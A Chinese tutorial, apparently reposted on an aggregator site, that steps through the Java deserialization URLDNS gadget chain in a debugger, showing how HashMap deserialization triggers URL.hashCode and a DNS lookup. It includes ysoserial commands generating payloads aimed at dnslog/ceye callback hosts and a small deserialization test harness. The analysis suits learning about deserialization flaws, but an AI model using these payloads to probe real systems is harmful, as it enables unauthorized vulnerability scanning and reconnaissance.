栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java 反序列化URLDNS利用链 调试分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java 反序列化URLDNS利用链 调试分析

事前准备

他的利用链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

生成payload:

java -jar ysoserial.jar URLDNS http://xxx.ceye.io >out.bin

java -jar ysoserial.jar URLDNS http://3wai3k.dnslog.cn >out.bin

测试代码

import java.io.*;

public class URLDNST {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
        ois.readObject();
    }
}
调试分析

在java.util.HashMap#readObject 里面的putVal下断点,看到key的值为我们传进去的dnslog地址

继续往下,看到进入到 java.util.HashMap#hash 函数中

进入URL#hashcode ,并且 hashCode的值为 -1

进入到URLStreamHandler#hashcode

跟进到 getHostAddress函数

到这里,就会进行一个DNS查询,我们在平台上就可以收到信息

总结

基本流程就是当 hashmap 的key 在 put 以及 get 的时候,会计算key 的 hash ,而如果这个key 是 url 类型的时候,都会调用 java.net.URL#hashCode 方法来计算,在hashCode() 方法中,如果hashCode 为-1 ,就会调用 java.net.URLStreamHandler#hashCode 方法,而这个方法里面会进行 dns 查询。

参考 https://blog.csdn.net/qq_41891666/article/details/108018627

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/759272.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号